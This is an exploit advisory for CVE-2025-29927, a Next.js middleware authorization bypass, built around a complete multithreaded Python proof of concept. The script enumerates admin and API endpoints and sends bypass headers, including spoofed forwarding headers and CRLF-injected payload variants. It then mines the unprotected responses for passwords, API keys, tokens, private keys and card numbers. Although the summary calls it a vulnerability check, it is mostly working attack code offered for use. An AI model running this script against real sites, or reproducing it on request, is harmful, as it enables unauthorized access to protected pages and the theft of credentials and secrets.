=============================================================================================================================================
| # Title     : Next.js 15.2.3 Middleware Authorization Bypass Vulnerability                                                                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://nextjs.org/                                                                                                         |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212394/ &	CVE-2025-29927

[+] Summary :  This Python script checks whether a website built with Next.js is vulnerable to CVE‑2025‑29927, 
              a middleware authorization bypass flaw triggered by the request header:x-middleware-subrequest

[+] What the script does:

Attempts to detect the Next.js version automatically.

Determines whether the detected version is potentially vulnerable.

Sends both normal requests and bypass requests (with the special header) to common sensitive endpoints.

Compares responses to identify differences that may indicate bypass or unauthorized access.

[+] Result:

If the response returned with the bypass header differs significantly from the normal request (status code or body), the target may be vulnerable.

In short:
The script detects and tests for the Next.js middleware bypass vulnerability (CVE‑2025‑29927).

[+]  POC : 

#!/usr/bin/env python3
"""

Usage: python3 poc.py https://target.com
"""

import requests
import sys
import json
import time
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
import argparse
import colorama
from colorama import Fore, Style

colorama.init()

class NextJSBypassPOC:
    def __init__(self, target_url, proxy=None, cookies=None):
        self.target = target_url.rstrip('/')
        self.session = requests.Session()
        self.vulnerable_endpoints = []
        self.found_data = []
        
        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }
        
        if cookies:
            self.session.headers.update({'Cookie': cookies})
        
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1'
        })
    
    def print_banner(self):
        banner = f"""
{Fore.RED}
╔══════════════════════════════════════════════════════════════╗
║    Next.js Middleware Authentication Bypass PoC              ║
║    CVE-2025-29927 - Critical Security Vulnerability          ║
╚══════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}
Target: {self.target}
Time: {time.strftime('%Y-%m-%d %H:%M:%S')}
        """
        print(banner)
    
    def test_bypass(self, endpoint, payload="middleware"):
        """اختبار bypass على نقطة نهاية محددة"""
        url = urljoin(self.target, endpoint)
        
        try:
            # Request عادية (يجب أن ترجع 401/403 إذا كانت محمية)
            normal_response = self.session.get(url, timeout=10)
            
            # Request مع header الـ bypass
            bypass_headers = {
                'x-middleware-subrequest': payload,
                'x-forwarded-for': '127.0.0.1',
                'x-real-ip': '127.0.0.1'
            }
            
            bypass_response = self.session.get(
                url, 
                headers=bypass_headers, 
                timeout=10,
                allow_redirects=False
            )
            
            # تحليل النتائج
            is_vulnerable = self.analyze_responses(
                normal_response, 
                bypass_response, 
                endpoint, 
                payload
            )
            
            return {
                'endpoint': endpoint,
                'url': url,
                'normal_status': normal_response.status_code,
                'normal_length': len(normal_response.content),
                'bypass_status': bypass_response.status_code,
                'bypass_length': len(bypass_response.content),
                'payload': payload,
                'vulnerable': is_vulnerable,
                'response_sample': bypass_response.text[:500] if is_vulnerable else None
            }
            
        except Exception as e:
            print(f"{Fore.YELLOW}[!] Error testing {endpoint}: {e}{Style.RESET_ALL}")
            return None
    
    def analyze_responses(self, normal, bypass, endpoint, payload):
        """تحليل الفروق بين الردود"""
        
        # حالة 1: الـ bypass يسمح بالوصول إلى صفحة كانت محظورة
        if normal.status_code in [401, 403, 404] and bypass.status_code == 200:
            print(f"{Fore.GREEN}[+] SUCCESS! Bypass worked on {endpoint}")
            print(f"    Normal: {normal.status_code} | Bypass: {bypass.status_code}{Style.RESET_ALL}")
            return True
        
        # حالة 2: تغيير في محتوى الرد
        if bypass.status_code == 200 and normal.status_code == 200:
            if bypass.content != normal.content:
                print(f"{Fore.CYAN}[+] Content difference on {endpoint}")
                print(f"    Length difference: {len(bypass.content) - len(normal.content)} bytes{Style.RESET_ALL}")
                return True
        
        # حالة 3: تغيير في الـ status code
        if normal.status_code != bypass.status_code:
            print(f"{Fore.BLUE}[+] Status code changed on {endpoint}")
            print(f"    {normal.status_code} -> {bypass.status_code}{Style.RESET_ALL}")
            return True
        
        return False
    
    def discover_endpoints(self):
        """اكتشاف نقاط النهاية تلقائياً"""
        endpoints = []
        
        # قائمة نقاط النهاية الشائعة
        common_paths = [
            "/admin", "/admin/login", "/admin/dashboard", "/admin/panel",
            "/api", "/api/auth", "/api/admin", "/api/users", "/api/config",
            "/dashboard", "/profile", "/account", "/settings", "/user",
            "/private", "/internal", "/secure", "/protected",
            "/wp-admin", "/wp-login", "/cpanel", "/control",
            "/_next", "/_next/data", "/_next/static", "/_next/webpack",
            "/api/private", "/api/internal", "/api/secure",
            "/management", "/system", "/config", "/backup",
            "/test", "/debug", "/console", "/shell",
            "/api/v1", "/api/v2", "/api/v3",
            "/api/v1/admin", "/api/v1/user", "/api/v1/config",
            "/graphql", "/graphql/v1", "/graphql/admin",
            "/swagger", "/swagger-ui", "/api-docs",
            "/actuator", "/health", "/metrics", "/info",
            "/phpmyadmin", "/mysql", "/sql", "/db",
            "/vendor", "/storage", "/uploads", "/downloads"
        ]
        
        # اكتشاف من robots.txt
        try:
            robots = self.session.get(urljoin(self.target, "/robots.txt"), timeout=5)
            if robots.status_code == 200:
                for line in robots.text.split('\n'):
                    if line.startswith('Disallow:'):
                        path = line.split(': ')[1] if ': ' in line else line[9:]
                        if path.strip() and path not in endpoints:
                            endpoints.append(path.strip())
        except:
            pass
        
        # اكتشاف من sitemap.xml
        try:
            sitemap = self.session.get(urljoin(self.target, "/sitemap.xml"), timeout=5)
            if sitemap.status_code == 200:
                import re
                urls = re.findall(r'<loc>(.*?)</loc>', sitemap.text)
                for url in urls:
                    path = urlparse(url).path
                    if path and path not in endpoints:
                        endpoints.append(path)
        except:
            pass
        
        return endpoints + common_paths
    
    def test_payload_variations(self, endpoint):
        """تجربة أنواع مختلفة من payloads"""
        payloads = [
            # Basic bypass
            "middleware",
            "1",
            "true",
            "yes",
            "on",
            "enable",
            
            # Multiple values
            "middleware:middleware",
            "middleware:middleware:middleware",
            "middleware:middleware:middleware:middleware",
            "middleware:middleware:middleware:middleware:middleware",
            
            # With newlines
            "middleware\nx-forwarded-for: 127.0.0.1",
            "middleware\r\nx-forwarded-for: 127.0.0.1",
            
            # Special characters
            "middleware;",
            "middleware%00",
            "middleware%0a",
            "middleware%0d",
            
            # Case variations
            "Middleware",
            "MIDDLEWARE",
            "mIdDlEwArE",
            
            # Other headers
            "x-middleware-subrequest",
            "next-middleware",
            "next-js-middleware"
        ]
        
        results = []
        for payload in payloads:
            result = self.test_bypass(endpoint, payload)
            if result and result['vulnerable']:
                results.append(result)
                # حفظ البيانات المكشوفة
                if result['response_sample']:
                    self.found_data.append({
                        'endpoint': endpoint,
                        'payload': payload,
                        'data': result['response_sample']
                    })
        
        return results
    
    def exploit_sensitive_data(self, vulnerable_endpoints):
        """استخراج البيانات الحساسة من النقاط الضعيفة"""
        sensitive_patterns = [
            (r'password[=:]["\']?(.*?)["\' ]', 'Passwords'),
            (r'api[_-]?key[=:]["\']?(.*?)["\' ]', 'API Keys'),
            (r'token[=:]["\']?(.*?)["\' ]', 'Tokens'),
            (r'secret[=:]["\']?(.*?)["\' ]', 'Secrets'),
            (r'admin[=:]["\']?(.*?)["\' ]', 'Admin Credentials'),
            (r'email[=:]["\']?(.*?)["\' ]', 'Emails'),
            (r'user[=:]["\']?(.*?)["\' ]', 'Usernames'),
            (r'([0-9]{16})[0-9]{3}', 'Credit Cards (Potential)'),
            (r'-----BEGIN (RSA|DSA|EC|OPENSSH) PRIVATE KEY-----', 'Private Keys')
        ]
        
        print(f"\n{Fore.MAGENTA}[*] Scanning for sensitive data...{Style.RESET_ALL}")
        
        for endpoint_info in vulnerable_endpoints:
            if endpoint_info.get('response_sample'):
                data = endpoint_info['response_sample']
                for pattern, label in sensitive_patterns:
                    import re
                    matches = re.findall(pattern, data, re.IGNORECASE)
                    if matches:
                        print(f"{Fore.RED}[!] Found {label} in {endpoint_info['endpoint']}{Style.RESET_ALL}")
                        for match in matches[:3]:  # عرض أول 3 نتائج فقط
                            if isinstance(match, tuple):
                                match = match[0]
                            print(f"    {match[:50]}...")
    
    def run_scan(self, threads=5):
        """تشغيل المسح الكامل"""
        self.print_banner()
        
        print(f"{Fore.CYAN}[*] Discovering endpoints...{Style.RESET_ALL}")
        endpoints = self.discover_endpoints()
        print(f"[*] Found {len(endpoints)} endpoints to test")
        
        print(f"\n{Fore.CYAN}[*] Testing for bypass vulnerability...{Style.RESET_ALL}")
        
        # استخدام threads للمسح السريع
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = []
            for endpoint in endpoints:
                futures.append(executor.submit(self.test_payload_variations, endpoint))
            
            for future in futures:
                try:
                    results = future.result(timeout=30)
                    if results:
                        self.vulnerable_endpoints.extend(results)
                except Exception as e:
                    continue
        
        # عرض النتائج
        self.print_results()
        
        # البحث عن بيانات حساسة
        if self.vulnerable_endpoints:
            self.exploit_sensitive_data(self.vulnerable_endpoints)
        
        return self.vulnerable_endpoints
    
    def print_results(self):
        """طباعة النتائج بشكل منظم"""
        print(f"\n{Fore.YELLOW}══════════════════════════════════════════════════════════════{Style.RESET_ALL}")
        print(f"{Fore.CYAN}[*] SCAN COMPLETED{Style.RESET_ALL}")
        print(f"[*] Total vulnerable endpoints: {len(self.vulnerable_endpoints)}")
        
        if self.vulnerable_endpoints:
            print(f"\n{Fore.GREEN}[+] VULNERABLE ENDPOINTS:{Style.RESET_ALL}")
            for i, vuln in enumerate(self.vulnerable_endpoints, 1):
                print(f"\n{i}. {Fore.GREEN}{vuln['endpoint']}{Style.RESET_ALL}")
                print(f"   URL: {vuln['url']}")
                print(f"   Payload: {vuln['payload']}")
                print(f"   Normal: HTTP {vuln['normal_status']} ({vuln['normal_length']} bytes)")
                print(f"   Bypass: HTTP {vuln['bypass_status']} ({vuln['bypass_length']} bytes)")
                
                if vuln['response_sample']:
                    print(f"   Sample: {vuln['response_sample'][:100]}...")
        else:
            print(f"{Fore.RED}[-] No vulnerable endpoints found{Style.RESET_ALL}")

def main():
    parser = argparse.ArgumentParser(
        description='Next.js CVE-2025-29927 Authentication Bypass PoC'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-t', '--threads', type=int, default=5, 
                       help='Number of threads (default: 5)')
    parser.add_argument('-p', '--proxy', help='Proxy server (e.g., http://127.0.0.1:8080)')
    parser.add_argument('-c', '--cookies', help='Cookies for authenticated session')
    parser.add_argument('-o', '--output', help='Output file for results')
    parser.add_argument('--timeout', type=int, default=10,
                       help='Request timeout in seconds')
    
    args = parser.parse_args()
    
    # إنشاء كائن المسح وتشغيله
    scanner = NextJSBypassPOC(
        target_url=args.target,
        proxy=args.proxy,
        cookies=args.cookies
    )
    
    try:
        results = scanner.run_scan(threads=args.threads)
        
        # حفظ النتائج إذا طلب
        if args.output and results:
            import json
            with open(args.output, 'w') as f:
                json.dump(results, f, indent=2)
            print(f"\n{Fore.GREEN}[+] Results saved to {args.output}{Style.RESET_ALL}")
            
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}")
        sys.exit(0)
    except Exception as e:
        print(f"{Fore.RED}[!] Error: {e}{Style.RESET_ALL}")
        sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [options]")
        print("\nExample: python3 poc.py https://vulnerable-site.com -t 10 -o results.json")
        sys.exit(1)
    
    main()

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================